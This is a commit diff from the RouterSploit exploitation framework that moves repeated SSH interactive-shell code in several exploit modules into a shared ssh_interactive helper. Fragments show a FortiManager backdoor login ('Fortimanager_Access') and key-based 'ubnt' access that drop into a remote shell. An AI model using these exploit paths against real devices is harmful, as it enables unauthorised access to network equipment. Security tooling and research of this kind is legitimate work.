Commit b523b783 by Marcin Bury

Adding ssh_interactive to modules

parent a69bee88
import socket
import select
import paramiko import paramiko
import base64 import base64
import hashlib import hashlib
import termios
import tty
import sys
from paramiko.py3compat import u
from routersploit import ( from routersploit import (
exploits, exploits,
...@@ -14,6 +8,7 @@ from routersploit import ( ...@@ -14,6 +8,7 @@ from routersploit import (
print_error, print_error,
print_status, print_status,
mute, mute,
ssh_interactive,
) )
...@@ -65,39 +60,13 @@ class Exploit(exploits.Exploit): ...@@ -65,39 +60,13 @@ class Exploit(exploits.Exploit):
try: try:
trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler) trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
chan = client.invoke_shell()
print_success("Exploit succeeded")
ssh_interactive(client)
except: except:
print_error("Exploit failed") print_error("Exploit failed")
return return
print_success("Exploit succeeded")
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
@mute @mute
def check(self): def check(self):
client = paramiko.SSHClient() client = paramiko.SSHClient()
......
import paramiko, termios, tty, sys, select, socket import paramiko
from routersploit import ( from routersploit import (
exploits, exploits,
...@@ -6,6 +6,7 @@ from routersploit import ( ...@@ -6,6 +6,7 @@ from routersploit import (
print_error, print_error,
print_success, print_success,
mute, mute,
ssh_interactive,
) )
...@@ -44,41 +45,7 @@ class Exploit(exploits.Exploit): ...@@ -44,41 +45,7 @@ class Exploit(exploits.Exploit):
return return
else: else:
print_success("SSH - Successful authentication") print_success("SSH - Successful authentication")
ssh_interactive(ssh)
chan = ssh.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))
if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if(sys.stdin in r):
x = sys.stdin.read(1)
if(len(x) == 0):
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
return
@mute @mute
def check(self): def check(self):
......
import telnetlib import telnetlib
import paramiko, StringIO, termios, tty, sys, select, socket import paramiko
from routersploit import ( from routersploit import (
exploits, exploits,
print_success, print_success,
print_error, print_error,
mute, mute,
ssh_interactive,
) )
...@@ -45,41 +46,8 @@ class Exploit(exploits.Exploit): ...@@ -45,41 +46,8 @@ class Exploit(exploits.Exploit):
ssh.close() ssh.close()
else: else:
print_success("SSH - Successful authentication") print_success("SSH - Successful authentication")
ssh_interactive(ssh)
chan = ssh.invoke_shell() return
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))
if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if(sys.stdin in r):
x = sys.stdin.read(1)
if(len(x) == 0):
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
return
try: try:
tn = telnetlib.Telnet(self.target, 23) tn = telnetlib.Telnet(self.target, 23)
......
import paramiko, StringIO, termios, tty, sys, select, socket import paramiko
import StringIO
from routersploit import ( from routersploit import (
exploits, exploits,
......
import tempfile import tempfile
import StringIO import StringIO
import termios
import tty
import sys
import select
import socket
import paramiko import paramiko
from routersploit import ( from routersploit import (
...@@ -16,6 +10,7 @@ from routersploit import ( ...@@ -16,6 +10,7 @@ from routersploit import (
http_request, http_request,
mute, mute,
validators, validators,
ssh_interactive,
) )
...@@ -77,46 +72,14 @@ class Exploit(exploits.Exploit): ...@@ -77,46 +72,14 @@ class Exploit(exploits.Exploit):
pseudo_privkey_file = StringIO.StringIO(private_key.getvalue()) pseudo_privkey_file = StringIO.StringIO(private_key.getvalue())
pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file) pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file)
pseudo_privkey_file.close() pseudo_privkey_file.close()
private_key.close()
ip_target = self.target.replace('https://', '') ip_target = self.target.replace('https://', '')
ip_target = ip_target.replace('http://', '') ip_target = ip_target.replace('http://', '')
ip_target = ip_target.replace('/', '') ip_target = ip_target.replace('/', '')
client.connect(ip_target, 22, username='ubnt', pkey=pkey) client.connect(ip_target, 22, username='ubnt', pkey=pkey)
ssh_interactive(client)
# invoking interactive shell
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = unicode(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\nExiting...\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
private_key.close()
else: else:
print_error('Target is not vulnerable') print_error('Target is not vulnerable')
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment